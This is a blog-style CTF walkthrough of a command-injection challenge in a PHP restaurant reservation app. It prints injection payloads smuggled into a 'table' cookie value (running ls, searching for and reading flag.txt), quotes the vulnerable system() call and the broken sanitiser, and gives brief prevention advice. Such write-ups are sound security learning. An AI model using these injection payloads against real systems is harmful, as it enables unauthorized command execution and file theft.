Out-Of-Band RCE: CTF Walkthrough

Anjali S.
Published in
5 min readJul 21, 2020


So, this is my writeup on how I was able to achieve my first Remote Code Execution. Also after reviewing the code I was able to understand more about malicious code execution via OS functions. Finally, I was able to capture the flag and got the Hall of Fame at https://vullnerability.com/challenges.

Out of Band(OOB) Command Injection is performed by sending a DNS request to a server, which occurs when input data is interpreted as an operating system command. By this, an attacker can execute arbitrary commands on the system and gain unauthorized access.

Here, we will see how I was able to solve Out of the band(OOB) RCE like a regular RCE.
The challenge name itself described that it is going to be a Remote Code Execution(RCE), you can learn more about RCE from portswigger academy. First, we will try to understand the functionality of the web application. This should be the basic approach to find any vulnerability. This is a reservation app where one can book a table for the restaurant.

Analysis(Using Burpsuite):

Main page

2. Check the reflection of user input.

Reflection of user input

3. Click on “click to reserve” and check that the table has been reserved.

Different tables available to reserve
The page where the table is reserved and injection will occur

4. Then finally the user can print the receipt.

Receipt printing functionality

5. Check the response for each of the requests to perform the injection.

6. Then after injecting multiple payloads, the payload will look like this: name=test; receiptcode=962b16bcd257121; table=T-12"%3bls%26"'

7. Use the payload: table=T-12";ls&"' but to make it work, encode using URL encoding.

Validating injection using ‘ls’

8. Let’s search for the payload table=T-12";find / -name flag.txt -exec cat {}\;&"' and URL encode the value.

9. To get the flag, enter the payload and URL encode this value in the cookie: table=T-12";cat /usr/lib/kernel/flag.txt&"'


10. The response shows: VULLN{FOUND_FLAG_GIVE_ME_THE_LAB}

Code review:

The different programming language has different powerful OS-communication functions used to execute the command. Below is the list:

  1. system, %x, exec,
  2. shell, sh, shell_exec open,
  3. popen, proc_open call,
  4. subprocess, spawn
  5. passthru, eval

The code review for PHP:

In PHP, there are more functions that let you to execute commands :
exec: Execute an external program
passthru: Execute an external program and display raw output
shell_exec: Execute command via shell and return the complete output as a string
system: Execute an external program and display the output.
If in script, exec() is used, you can’t see the command output(but the command is executed) until the result isn’t echoed from script.

After receiving a hint on Twitter, it was possible to perform a code review.

Hint on twitter

Let’s download the source code via http://lab.takeover.host/source.zip

Then performing the code review we can see the system() function which is used to execute OS commands. Primarily, it is used to echo parameter values. For example, here, it is used to echo the values from $content variable to receipts/$filename.

Malicious part of the code

system('echo -e "'.$content.'" > receipts/'.$filename);

The $content variable contains 4 values which are concatenated having a $getname, $tablename, $price and $receiptcode.

$content = 'Reserved to: '.$getname.'\n\nTable: '.$tablename.'\n\nPrice: '.$price.'\n\nReceipt code: '.$receiptcode;

Although there is a clear() function defined which is sanitizing the user input by removing malicious characters from the provided string.

function clear($input){ return str_replace(array("|", "&", "`", "$", "(", ")", ";", ">", "<", "'", '"', "?", "=", "/", "\"), "", $input); }

But this clear() function is not implemented properly. Application calls the clear() function when setting cookies, it also stores our malicious string in $getname variable which is used in system() function.

$getname = isset($_COOKIE[‘name’]) ? $_COOKIE[‘name’] : (isset($_POST[‘name’]) ? $_POST[‘name’] : 0);
setcookie(“name”, clear($getname));
if(isset($_GET['table']) or isset($_COOKIE['table'])){$tablename = isset($_COOKIE['table']) ? $_COOKIE['table'] : $_GET['table'];$price = ($tablename == "T-12") ? "80$" : "350$";if(!isset($_COOKIE['reserved'])){$receiptcode = substr(md5('not so important'.rand()), 0, 15);setcookie("receiptcode", $receiptcode);}else{$receiptcode = $_COOKIE['receiptcode'];}$filename = $getname.'_'.$receiptcode.".txt";$content = 'Reserved to: '.$getname.'\n\nTable: '.$tablename.'\n\nPrice: '.$price.'\n\nReceipt code: '.$receiptcode;

The conditional statement used to control flow via system() call uses a conditional operator. Based on if/else conditions, we will send a POST request with ‘table’ as GET variable and ‘name’ as POST variable to get into system() function.
So, the table is set and when cookies are not set to reserved we can get the malicious input to be executed by system().

But let’s differentiate between If/else statement and conditional operator to make things clear.

(condition) ? /* value to return if condition is true */ 
: /* value to return if condition is false */ ;

The ? is called the conditional operator because you cannot execute code in the same manner as if we did:

if (condition) {
/* condition is true, do something like echo */
else {
/* condition is false, do something else */

In this example, we are executing the echo statement when the $address is not empty. We can't do this the same way with the conditional operator. What we can do, however, is echo the result of the conditional operator:

echo empty($address['street2']) ? "Street2 is empty!" : $address['street2'];and this will display "Street is empty!" if it is empty, otherwise it will display the street2 address.

Thus we get another way to achieve Remote Code Execution.

Remote Code Execution(RCE) Preventions

The best way is to avoid RCE is by not using system functions. But when working with dynamic data it is a better, safer way to do the same thing. In some programming languages (including PHP) it is possible to disable these functions entirely so that they cannot be used.

If it is impossible, sometimes, to avoid using system functions and more common functions like include/require then perform source code analysis following below guidelines

  1. Whitelist actions
  2. Sanitize and validate input
  3. Validate returned data

Hall of Fame:

Hall of Fame


https://guides.codepath.com/websecurity/Remote-Code-Execution https://vullnerability.com/blog/out-of-band-remote-command-execution-challenge-1